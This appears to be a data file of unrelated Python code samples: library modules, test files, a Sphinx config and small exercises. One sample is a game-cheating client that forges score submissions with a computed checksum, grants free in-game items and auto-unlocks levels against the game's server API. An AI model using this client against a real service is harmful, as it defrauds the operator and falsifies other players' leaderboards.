Rlhwe-Ubsxwr."" #print(decryptMessage(blank, blank)) # Fill in the blanks # If PracticeQuestions.py is run (instead of imported as a module), call # the main() function: if __name__ == '__main__': main() ",1 "turn {""type"": item_type, ""amount"": amount} class SagaAPI(object): secret = """" episodeLengths = {} apiUrl = """" clientApi = """" unlockLevelItemId = -1 unlockLevelImage = """" debug = True def __init__(self, session, userId): self.session = session self.userId = userId def api_get(self, method, params): response = requests.get(self.apiUrl + ""/"" + method, params=params) if self.debug: print self.apiUrl + ""/"" + method + ""\n"" print ""===============================\n"" print response.text print ""\n"" return response def hand_out_winnings(self, item_type, amount): item = [ ApiItemAmount(item_type, amount) ] params = { ""_session"": self.session, ""arg0"": json.dumps(item), ""arg1"": 1, ""arg2"": 1, ""arg3"": ""hash"", } return self.api_get(""handOutItemWinnings"", params) # gets the balance of all the items that the player has def get_balance(self): params = {""_session"": self.session} return self.api_get(""getBalance"", params) def get_gameInitLight(self): params = {""_session"": self.session} return self.api_get(""gameInitLight"", params) # full list with level details def get_gameInit(self): params = {""_session"": self.session} return self.api_get(""gameInit"", params) def add_life(self): params = {""_session"": self.session} return self.api_get(""addLife"", params) def is_level_unlocked(self, episode, level): params = {""_session"": self.session, ""arg0"": episode, ""arg1"": level} response = self.api_get(""isLevelUnlocked"", params) return response.text == ""true"" def poll_episodeChampions(self, episode): params = {""_session"": self.session, ""arg0"": episode} return self.api_get(""getEpisodeChampions"", params) def poll_levelScores(self, episode, level): params = {""_session"": self.session, ""arg0"": episode, ""arg1"": level} return self.api_get(""getLevelToplist"", params) def post_unlockLevel(self, episode, level): params = {""_session"": self.session} placement = ""Map,%s,%s"" % (episode, level) payload = [{ ""method"": ""ProductApi.purchase"", ""id"": 0, ""params"": [{ ""imageUrl"": self.unlockLevelImage, ""orderItems"": [{ ""productPackageType"": self.unlockLevelItemId, ""receiverCoreUserId"": self.userId }], ""placement"": placement, ""title"": ""Level Unlock"", ""description"": ""Buy your way to the next level."", ""currency"": ""KHC"" }] }] unlockAttempt = requests.post(self.clientApi, verify=False, params=params, data=json.dumps(payload)).json() if self.debug: print json.dumps(unlockAttempt, sort_keys = False, indent = 4) return unlockAttempt[0][""result""][""status""] == ""ok"" def start_game(self, episode, level): params = {""_session"": self.session, ""arg0"": episode, ""arg1"": level} return self.api_get(""gameStart"", params).json()[""seed""] def end_game(self, episode, level, seed, score=None): if score is None: score = random.randrange(3000, 6000) * 100 dic = { ""timeLeftPercent"": -1, ""episodeId"": episode, ""levelId"": level, ""score"": score, ""variant"": 0, ""seed"": seed, ""reason"": 0, ""userId"": self.userId, ""secret"": self.secret } dic[""cs""] = hashlib.md5(""%(episodeId)s:%(levelId)s:%(score)s:%(timeLeftPercent)s:%(userId)s:%(seed)s:%(secret)s"" % dic).hexdigest()[:6] params = {""_session"": self.session, ""arg0"": json.dumps(dic)} return self.api_get(""gameEnd"", params) def print_scores(self, episode, level): scores = self.poll_levelScores(episode, level).json() print json.dumps(scores.values()[0][0], sort_keys = False, indent = 4) print json.dumps(scores.values()[0][1], sort_keys = False, indent = 4) print json.dumps(scores.values()[0][2], sort_keys = False, indent = 4) def print_status(self): print json.dumps(self.poll_status().json(), sort_keys = False, indent = 4) def complete_level(self, level): targetEpisode, targetLevel = self.get_episode_level(level) is_unlocked = self.is_level_unlocked(targetEpisode, targetLevel) if not is_unlocked: self.complete_level(level - 1) response = self.play_game(targetEpisode, targetLevel).json() if response[""episodeId""] == -1: needUnlock = False for event in response[""events""]: if event[""type""] == ""LEVEL_LOCKED"": needUnlock = True break if needUnlock: self.post_unlockLevel(targetEpisode, targetLevel) self.complete_level(level) print ""Beat episode {0} level {1}"".format(targetEpisode, targetLevel) def get_episode_level(self, level): if len(self.episodeLengths) == 0: response = self.get_gameInit() episodeDescriptions = response.json()[""universeDescription""][""episodeDescriptions""] for episode in episodeDescriptions: self.episodeLengths[episode[""episodeId""]] = len(episode[""levelDescriptions""]) targetEpisode = -1 targetLevel = level currentEpisode = 1 while targetEpisode == -1: if targetLevel > self.episodeLengths[currentEpisode]: targetLevel = targetLevel - self.episodeLengths[currentEpisode] currentEpisode = currentEpisode + 1 else: targetEpisode = currentEpisode break return targetEpisode, targetLevel def play_gameAutoScore(self, episode, level, starProgressions=None): if starProgressions is not None: minPoints = starProgressions[""universeDescription""][""episodeDescriptions""][episode-1][""levelDescriptions""][level-1][""starProgressions""][2][""points""] randomScore = 1 while (randomScore % 2 != 0): # generate a random number at most 50000 points over the min 3 star and keep trying until it is even randomScore = random.randrange(minPoints/10, minPoints/10+5000) myScore = randomScore * 10 # print ""Score: %s out of %s"" % (myScore, minPoints) else: # revert to pulling the top scores. This probably won't work if none of your friends have made it to that level scoreList = self.poll_levelScores(episode, level).json() # take the top score and add 5000 points myScore = scoreList.values()[0][0][""value""] + 5000 return self.play_game(episode, level, myScore) def play_gameLoop(self, episode, level): # create a JSON file full of tons and tons of data but only call it once since it is so large starProgressions = self.get_gameInit().json() while True: try: result = self.play_gameAutoScore(episode, level, starProgressions).json() try: # This is not quite right but it works since LEVEL_GOLD_REWARD still has a episodeId and levelId like LEVEL_UNLOCKED # This only beats new levels that reported back the new unlocked level data = json.loads(result[""events""][0].values()[2]) data[""episodeId""] data[""levelId""] level = level + 1 except KeyError: print ""Next level wasn't reported, Trying to unlock episode %s..."" % (episode+1) self.post_unlockLevel(episode, level-1) episode = episode + 1 level = 1 except: print sys.exc_info()[0] break except IndexError: print ""Next level wasn't reported, Trying to unlock episode %s..."" % (episode+1) self.post_unlockLevel(episode, level-1) episode = episode + 1 level = 1 except: print sys.exc_info()[0] break def play_game(self, episode, level, score=None): seed = self.start_game(episode, level) return self.end_game(episode, level, seed, score)",1 "rho_gas = 2080. # Expected outputs... BRINE case vp_brine = 2850.5 vs_brine = 1416.1 rho_brine = 2210.0 phi = 0.275 # Don't know this... reading from fig rhohc = 250.0 # gas rhow = 1040.0 # brine sw = 0.3 # Don't know this... just guessing swnew = 1.0 # Don't know this... just guessing khc = 207000000.0 # gas kw = 2950000000.0 # brine kclay = 25000000000.0 kqtz = 37000000000.0 vclay = 0.05 kmin = 36266406250.0 # Don't know this... reading from fig class FluidsubTest(unittest.TestCase): """""" Tests fluid sub calculations against Smith et al 2003. https://dl.dropboxusercontent.com/u/14965965/Smith_etal_2003.pdf """""" def test_avseth(self): # Base case: gas # Subbing with: brine sub = fluidsub.avseth_fluidsub(vp=vp_gas, vs=vs_gas, rho=rho_gas, phi=phi, rhof1=rhohc, rhof2=rhow, kmin=37000000000, kf1=khc, kf2=kw) self.assertAlmostEqual(sub[0], vp_brine, places=-1) # Cannot match :( self.assertAlmostEqual(sub[1], vs_brine, places=-1) # Cannot match :( self.assertAlmostEqual(sub[2], rho_brine, places=-1) # Cannot match :( def test_smith(self): # Base case: gas # Subbing with: brine sub = fluidsub.smith_fluidsub(vp=vp_gas, vs=vs_gas, rho=rho_gas, phi=phi, rhohc=rhohc, rhow=rhow, sw=sw, swnew=swnew, khc=khc, kw=kw, kclay=kclay, kqtz=kqtz, vclay=vclay) self.assertAlmostEqual(sub[0], vp_brine, places=-1) self.assertAlmostEqual(sub[1], vs_brine, places=-1) self.assertAlmostEqual(sub[2], rho_brine, places=-1) # Cannot match :( if __name__ == '__main__': suite = unittest.TestLoader().loadTestsFromTestCase(FluidsubTest) unittest.TextTestRunner(verbosity=2).run(suite) ",1 " # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Bill Mill # # Copyright 2013 Vincent Jacques # # Copyright 2013 davidbrai # # # # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # # ############################################################################## import github.GithubObject class PaginatedListBase: def __init__(self): self.__elements = list() def __getitem__(self, index): assert isinstance(index, (int, slice)) if isinstance(index, (int, long)): self.__fetchToIndex(index) return self.__elements[index] else: return self._Slice(self, index) def __iter__(self): for element in self.__elements: yield element while self._couldGrow(): newElements = self._grow() for element in newElements: yield element def _isBiggerThan(self, index): return len(self.__elements) > index or self._couldGrow() def __fetchToIndex(self, index): while len(self.__elements) <= index and self._couldGrow(): self._grow() def _grow(self): newElements = self._fetchNextPage() self.__elements += newElements return newElements class _Slice: def __init__(self, theList, theSlice): self.__list = theList self.__start = theSlice.start or 0 self.__stop = theSlice.stop self.__step = theSlice.step or 1 def __iter__(self): index = self.__start while not self.__finished(index): if self.__list._isBiggerThan(index): yield self.__list[index] index += self.__step else: return def __finished(self, index): return self.__stop is not None and index >= self.__stop class PaginatedList(PaginatedListBase): """""" This class abstracts the `pagination of the API `_. You can simply enumerate through instances of this class:: for repo in user.get_repos(): print repo.name You can also index them or take slices:: second_repo = user.get_repos()[1] first_repos = user.get_repos()[:10] If you want to iterate in reversed order, just do:: for repo in user.get_repos().reversed: print repo.name And if you really need it, you can explicitely access a specific page:: some_repos = user.get_repos().get_page(0) some_other_repos = user.get_repos().get_page(3) """""" def __init__(self, contentClass, requester, firstUrl, firstParams, headers=None): PaginatedListBase.__init__(self) self.__requester = requester self.__contentClass = contentClass self.__firstUrl = firstUrl self.__firstParams = firstParams or () self.__nextUrl = firstUrl self.__nextParams = firstParams or {} self.__headers = headers if self.__requester.per_page != 30: self.__nextParams[""per_page""] = self.__requester.per_page self._reversed = False self.__totalCount = None @property def totalCount(self): if not self.__totalCount: self._grow() return self.__totalCount def _getLastPageUrl(self): headers, data = self.__requester.requestJsonAndCheck( ""GET"", self.__firstUrl, parameters=self.__nextParams, headers=self.__headers ) links = self.__parseLinkHeader(headers) lastUrl = links.get(""last"") return lastUrl @property def reversed(self): r = PaginatedList(self.__contentClass, self.__requester, self.__firstUrl, self.__firstParams) r.__reverse() return r def __reverse(self): self._reversed = True lastUrl = self._getLastPageUrl() if lastUrl: self.__nextUrl = lastUrl def _couldGrow(self): return self.__nextUrl is not None def _fetchNextPage(self): headers, data = self.__requester.requestJsonAndCheck( ""GET"", self.__nextUrl, parameters=self.__nextParams, headers=self.__headers ) data = data if data else [] self.__nextUrl = None if len(data) > 0: links = self.__parseLinkHeader(headers) if self._reversed: if ""prev"" in links: self.__nextUrl = links[""prev""] elif ""next"" in links: self.__nextUrl = links[""next""] self.__nextParams = None if 'items' in data: self.__totalCount = data['total_count'] data = data[""items""] content = [ self.__contentClass(self.__requester, headers, element, completed=False) for element in data if element is not None ] if self._reversed: return content[::-1] return content def __parseLinkHeader(self, headers): links = {} if ""link"" in headers: linkHeaders = headers[""link""].split("", "") for linkHeader in linkHeaders: (url, rel) = linkHeader.split(""; "") url = url[1:-1] rel = rel[5:-1] links[rel] = url return links def get_page(self, page): params = dict(self.__firstParams) if page != 0: params[""page""] = page + 1 if self.__requester.per_page != 30: params[""per_page""] = self.__requester.per_page headers, data = self.__requester.requestJsonAndCheck( ""GET"", self.__firstUrl, parameters=params, headers=self.__headers ) if 'items' in data: self.__totalCount = data['total_count'] data = data[""items""] return [ self.__contentClass(self.__requester, headers, element, completed=False) for element in data ] ",1 "ient = SC2CastsClient() TEST_DATA_DIR = 'data' # test cases: def test_titles(): pass # test cases: def test_casts(): with open(TEST_DATA_DIR + '/all', 'r') as f: test_data = f.read() #print test_data actual = parser.casts(test_data) pprint(actual) # TODO check each cast # test cases: # bo3 in 1 game # 1 game # 3 games # 5 games def test_games_bo3_in_1_game(): with open(TEST_DATA_DIR + '/cast14719-Soulkey-vs-Cure-Best-of-3-All-in-1-video-IEM-Cologne-2014-Korean-Qualifier', 'r') as f: test_data = f.read() #print test_data actual = parser.games(test_data) assert len(actual) == 1 assert actual[0]['game_id'] == 'Gt4E3rIUhoA' assert actual[0]['game_title'] == 'Game 1' # games 4 and 5 not played def test_games_5_games(): with open(TEST_DATA_DIR + '/cast14705-KT-Rolster-vs-Prime-Best-of-5-2014-Proleague-Round-1', 'r') as f: test_data = f.read() #print test_data actual = parser.games(test_data) print actual assert len(actual) == 5 assert actual[0]['game_id'] == 'QqSRtBVEXDs' assert actual[0]['game_title'] == 'Game 1' assert actual[1]['game_id'] == '5lFLuOKYTa8' assert actual[1]['game_title'] == 'Game 2' assert actual[2]['game_id'] == 'wNhcT-NenNs' assert actual[2]['game_title'] == 'Game 3' assert actual[3]['game_id'] == '' assert actual[3]['game_title'] == 'Game 4' assert actual[4]['game_id'] == '' assert actual[4]['game_title'] == 'Game 5' # test cases: def test_events(): with open(TEST_DATA_DIR + '/browse', 'r') as f: test_data = f.read() actual = parser.events(test_data) pprint(actual) # test cases: def test_casters(): with open(TEST_DATA_DIR + '/browse', 'r') as f: test_data = f.read() actual = parser.casters(test_data) pprint(actual) # test cases: def test_matchups(): with open(TEST_DATA_DIR + '/browse', 'r') as f: test_data = f.read() actual = parser.matchups(test_data) assert len(actual) == 6 # TODO test that the actual URLs are still valid # client tests def test_client_matchups(): actual = client.matchups() assert len(actual) == 6 ''' ",1 ": %s) id %s. ppid %s' % (name, os.getpid(), os.getppid())) time.sleep(3) print(time.asctime(), 'child process end') if __name__ == '__main__': p = Process(target = proc, args = ('child',)) print(time.asctime(), 'child process will start') p.start() p.join() print('first child process end') pl = Pool(4) for index in range(4): pl.apply_async(proc, args = (index,)) pl.close() pl.join() print(time.asctime(), 'parent process end') ",1 "re; you can redistribute it and/or ## modify it under the terms of the GNU General Public License as ## published by the Free Software Foundation; either version 2 of the ## License, or (at your option) any later version. ## ## Invenio is distributed in the hope that it will be useful, but ## WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## General Public License for more details. ## ## You should have received a copy of the GNU General Public License ## along with Invenio; if not, write to the Free Software Foundation, Inc., ## 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. """"""Unit tests for the ranking engine."""""" __revision__ = ""$Id$"" from invenio.importutils import lazy_import from invenio.testutils import make_test_suite, run_test_suite, InvenioTestCase bibrank_tag_based_indexer = lazy_import('invenio.bibrank_tag_based_indexer') split_ranges = lazy_import('invenio.bibrank:split_ranges') class TestListSetOperations(InvenioTestCase): """"""Test list set operations."""""" def test_union_dicts(self): """"""bibrank tag based indexer - union dicts"""""" self.assertEqual({1: 5, 2: 6, 3: 9, 4: 10, 10: 1}, bibrank_tag_based_indexer.union_dicts({1: 5, 2: 6, 3: 9}, {3:9, 4:10, 10: 1})) def test_split_ranges(self): """"""bibrank tag based indexer - split ranges"""""" self.assertEqual([[0, 500], [600, 1000]], split_ranges(""0-500,600-1000"")) TEST_SUITE = make_test_suite(TestListSetOperations,) if __name__ == ""__main__"": run_test_suite(TEST_SUITE) ",1 " ""input"": [5, -5], ""answer"": 10, ""explanation"": ""5-(-5)=10"" }, { ""input"": [10.2, -2.2, 0, 1.1, 0.5], ""answer"": 12.4, ""explanation"": ""10.2-(-2.2)=12.4"" }, { ""input"": [], ""answer"": 0, ""explanation"": ""Empty"" }, {""input"": [-99.9, 99.9], ""answer"": 199.8, ""explanation"": ""99.9-(-99.9)""}, {""input"": [1, 1], ""answer"": 0, ""explanation"": ""1-1""}, {""input"": [0, 0, 0, 0], ""answer"": 0, ""explanation"": ""0-0""}, {""input"": [36.0, -26.0, -7.5, 0.9, 0.53, -6.6, -71.0, 0.53, -48.0, 57.0, 69.0, 0.063, -4.7, 0.01, 9.2], ""answer"": 140.0, ""explanation"": ""69.0-(-71.0)""}, {""input"": [-0.035, 0.0, -0.1, 83.0, 0.28, 60.0], ""answer"": 83.1, ""explanation"": ""83.0-(-0.1)""}, {""input"": [0.02, 0.93, 0.066, -94.0, -0.91, -21.0, -7.2, -0.018, 26.0], ""answer"": 120.0, ""explanation"": ""26.0-(-94.0)""}, {""input"": [89.0, 0.014, 2.9, -1.2, 5.8], ""answer"": 90.2, ""explanation"": ""89.0-(-1.2)""}, {""input"": [-69.0, 0.0, 0.0, -0.051, -0.021, -0.81], ""answer"": 69.0, ""explanation"": ""0.0-(-69.0)""}, {""input"": [-0.07], ""answer"": 0.0, ""explanation"": ""-0.07-(-0.07)""}, {""input"": [0.074, 0.12, -0.4, 4.0, -1.7, 3.0, -5.1, 0.57, -54.0, -41.0, -5.2, -5.6, 3.8, 0.054, -35.0, -5.0, -0.005, 0.034], ""answer"": 58.0, ""explanation"": ""4.0-(-54.0)""}, {""input"": [29.0, 0.47, -4.5, -6.7, -0.051, -0.82, -0.074, -4.0, -0.015, -0.015, -8.0, -0.43], ""answer"": 37.0, ""explanation"": ""29.0-(-8.0)""}, {""input"": [-0.036, -0.11, -0.55, -64.0], ""answer"": 63.964, ""explanation"": ""-0.036-(-64.0)""}, {""input"": [-0.092, -0.079, -0.31, -0.87, -28.0, -6.2, -0.097, -5.8, -0.025, -28.0, -4.7, -2.9, -8.0, -0.093, -13.0, -73.0], ""answer"": 72.975, ""explanation"": ""-0.025-(-73.0)""}, {""input"": [-0.015, 7.6], ""answer"": 7.615, ""explanation"": ""7.6-(-0.015)""}, {""input"": [-46.0, 0.19, -0.08, -4.0, 4.4, 0.071, -0.029, -0.034, 28.0, 0.043, -97.0], ""answer"": 125.0, ""explanation"": ""28.0-(-97.0)""}, {""input"": [32.0, -0.07, -0.056, -6.4, 0.084], ""answer"": 38.4, ""explanation"": ""32.0-(-6.4)""}, {""input"": [0.017, 0.015, 0.69, 0.78], ""answer"": 0.765, ""explanation"": ""0.78-0.015""}, ] } ",1 "Case): def setUp(self): self.test_file = test_file = pysal.examples.get_path('ohio.swm') self.obj = ArcGISSwmIO(test_file, 'r') def test_close(self): f = self.obj f.close() self.failUnlessRaises(ValueError, f.read) def test_read(self): w = self.obj.read() self.assertEqual(88, w.n) self.assertEqual(5.25, w.mean_neighbors) self.assertEqual([1.0, 1.0, 1.0, 1.0], w[1].values()) def test_seek(self): self.test_read() self.failUnlessRaises(StopIteration, self.obj.read) self.obj.seek(0) self.test_read() def test_write(self): w = self.obj.read() f = tempfile.NamedTemporaryFile( suffix='.swm', dir=pysal.examples.get_path('')) fname = f.name f.close() o = pysal.open(fname, 'w') o.write(w) o.close() wnew = pysal.open(fname, 'r').read() self.assertEqual(wnew.pct_nonzero, w.pct_nonzero) os.remove(fname) if __name__ == '__main__': unittest.main() ",1 "All rights reserved. # # The full license is in the file LICENSE.txt, distributed with this software. #----------------------------------------------------------------------------- ''' ''' #----------------------------------------------------------------------------- # Boilerplate #----------------------------------------------------------------------------- import logging # isort:skip log = logging.getLogger(__name__) #----------------------------------------------------------------------------- # Imports #----------------------------------------------------------------------------- # Bokeh imports from .notebook import run_notebook_hook from .state import curstate #----------------------------------------------------------------------------- # Globals and constants #----------------------------------------------------------------------------- __all__ = ( 'output_file', 'output_notebook', 'reset_output', ) #----------------------------------------------------------------------------- # General API #----------------------------------------------------------------------------- def output_file(filename, title=""Bokeh Plot"", mode=None, root_dir=None): '''Configure the default output state to generate output saved to a file when :func:`show` is called. Does not change the current ``Document`` from ``curdoc()``. File and notebook output may be active at the same time, so e.g., this does not clear the effects of ``output_notebook()``. Args: filename (str) : a filename for saving the HTML document title (str, optional) : a title for the HTML document (default: ""Bokeh Plot"") mode (str, optional) : how to include BokehJS (default: ``'cdn'``) One of: ``'inline'``, ``'cdn'``, ``'relative(-dev)'`` or ``'absolute(-dev)'``. See :class:`bokeh.resources.Resources` for more details. root_dir (str, optional) : root directory to use for 'absolute' resources. (default: None) This value is ignored for other resource types, e.g. ``INLINE`` or ``CDN``. Returns: None .. note:: Generally, this should be called at the beginning of an interactive session or the top of a script. .. warning:: This output file will be overwritten on every save, e.g., each time show() or save() is invoked. ''' curstate().output_file( filename, title=title, mode=mode, root_dir=root_dir ) def output_notebook(resources=None, verbose=False, hide_banner=False, load_timeout=5000, notebook_type='jupyter'): ''' Configure the default output state to generate output in notebook cells when :func:`show` is called. Note that, :func:`show` may be called multiple times in a single cell to display multiple objects in the output cell. The objects will be displayed in order. Args: resources (Resource, optional) : How and where to load BokehJS from (default: CDN) verbose (bool, optional) : whether to display detailed BokehJS banner (default: False) hide_banner (bool, optional): whether to hide the Bokeh banner (default: False) load_timeout (int, optional) : Timeout in milliseconds when plots assume load timed out (default: 5000) notebook_type (string, optional): Notebook type (default: jupyter) Returns: None .. note:: Generally, this should be called at the beginning of an interactive session or the top of a script. ''' # verify notebook_type first in curstate().output_notebook curstate().output_notebook(notebook_type) run_notebook_hook(notebook_type, 'load', resources, verbose, hide_banner, load_timeout) def reset_output(state=None): ''' Clear the default state of all output modes. Returns: None ''' curstate().reset() #----------------------------------------------------------------------------- # Dev API #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Private API #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Code #----------------------------------------------------------------------------- ",1 " is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys import os import shlex # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) # -- General configuration ------------------------------------------------ # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.autodoc', 'sphinx.ext.todo', 'sphinx.ext.pngmath', 'sphinx.ext.ifconfig', 'sphinx.ext.viewcode', ] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'last_letter' copyright = u'2014, George Zogopoulos - Papaliakos' author = u'George Zogopoulos - Papaliakos' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = '0.5' # The full version, including alpha/beta/rc tags. release = '0.5' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set ""language"" from the command line for these cases. language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = [] # The reST default role (used for this markup: `text`) to use for all # documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # If true, keep warnings as ""system message"" paragraphs in the built documents. #keep_warnings = False # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = True # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'sphinx_rtd_theme' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. html_theme_path = [""_static/themes"", ] # The name for this set of Sphinx documents. If None, it defaults to # "" v documentation"". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named ""default.css"" will overwrite the builtin ""default.css"". html_static_path = ['_static'] # Add any extra paths that contain custom files (such as robots.txt or # .htaccess) here, relative to this directory. These files are copied # directly to the root of the documentation. #html_extra_path = [] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. html_domain_indices = False # If false, no index is generated. html_use_index = False # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. html_show_sourcelink = False # If true, ""Created using Sphinx"" is shown in the HTML footer. Default is True. html_show_sphinx = False # If true, ""(C) Copyright ..."" is shown in the HTML footer. Default is True. html_show_copyright = False # If true, an OpenSearch description file will be output, and all pages will # contain a tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. "".xhtml""). #html_file_suffix = None # Language to be used for generating the HTML full-text search index. # Sphinx supports the following languages: # 'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja' # 'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr' #html_search_language = 'en' # A dictionary with options for the search language support, empty by default. # Now only 'ja' uses this config value #html_search_options = {'type': 'default'} # The name of a javascript file (relative to the configuration directory) that # implements a search results scorer. If empty, the default will be used. #html_search_scorer = 'scorer.js' # Output file base name for HTML help builder. htmlhelp_basename = 'last_letter_doc' # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', # Latex figure (float) alignment #'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'last_letter.tex', u'last_letter Documentation', u'George Zogopoulos - Papaliakos', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For ""manual"" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output --------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'last_letter', u'last_letter Documentation', [author], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'last_letter', u'last_letter Documentation', author, 'last_letter', 'A collection of ROS packages for UAV simulation and autopilot development.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote' # If true, do not generate a @detailmenu in the ""Top"" node's menu. #texinfo_no_detailmenu = False # -- Options for Epub output ---------------------------------------------- # Bibliographic Dublin Core info. epub_title = project epub_author = author epub_publisher = author epub_copyright = copyright # The basename for the epub file. It defaults to the project name. #epub_basename = project # The HTML theme for the epub output. Since the default themes are not optimized # for small screen space, using the same theme for HTML and epub output is # usually not wise. This defaults to 'epub', a theme designed to save visual # space. #epub_theme = 'epub' # The language of the text. It defaults to the language option # or 'en' if the language is not set. #epub_language = '' # The scheme of the identifier. Typical schemes are ISBN or URL. #epub_scheme = '' # The unique identifier of the text. This can be a ISBN number # or the project homepage. #epub_identifier = '' # A unique identification for the text. #epub_uid = '' # A tuple containing the cover image and cover page html template filenames. #epub_cover = () # A sequence of (type, uri, title) tuples for the guide element of content.opf. #epub_guide = () # HTML files that should be inserted before the pages created by sphinx. # The format is a list of tuples containing the path and title. #epub_pre_files = [] # HTML files shat should be inserted after the pages created by sphinx. # The format is a list of tuples containing the path and title. #epub_post_files = [] # A list of files that should not be packed into the epub file. epub_exclude_files = ['search.html'] # The depth of the table of contents in toc.ncx. #epub_tocdepth = 3 # Allow duplicate toc entries. #epub_tocdup = True # Choose between 'default' and 'includehidden'. #epub_tocscope = 'default' # Fix unsupported image types using the Pillow. #epub_fix_images = False # Scale large images. #epub_max_image_width = 0 # How to display URL addresses: 'footnote', 'no', or 'inline'. #epub_show_urls = 'inline' # If false, no index is generated. #epub_use_index = True ",1 "_order = preorder.split(',') stack = [] for node in arr_pre_order: stack.append(node) while len(stack) > 1 and stack[-1] == '#' and stack[-2] == '#': stack.pop() stack.pop() if len(stack) < 1: return False stack[-1] = '#' if len(stack) == 1 and stack[0] == '#': return True return False ",1 "go.db import models, connections, transaction from django.urls import reverse from django_tenants.clone import CloneSchema from .postgresql_backend.base import _check_schema_name from .signals import post_schema_sync, schema_needs_to_be_sync from .utils import get_creation_fakes_migrations, get_tenant_base_schema from .utils import schema_exists, get_tenant_domain_model, get_public_schema_name, get_tenant_database_alias class TenantMixin(models.Model): """""" All tenant models must inherit this class. """""" auto_drop_schema = False """""" USE THIS WITH CAUTION! Set this flag to true on a parent class if you want the schema to be automatically deleted if the tenant row gets deleted. """""" auto_create_schema = True """""" Set this flag to false on a parent class if you don't want the schema to be automatically created upon save. """""" schema_name = models.CharField(max_length=63, unique=True, db_index=True, validators=[_check_schema_name]) domain_url = None """""" Leave this as None. Stores the current domain url so it can be used in the logs """""" domain_subfolder = None """""" Leave this as None. Stores the subfolder in subfolder 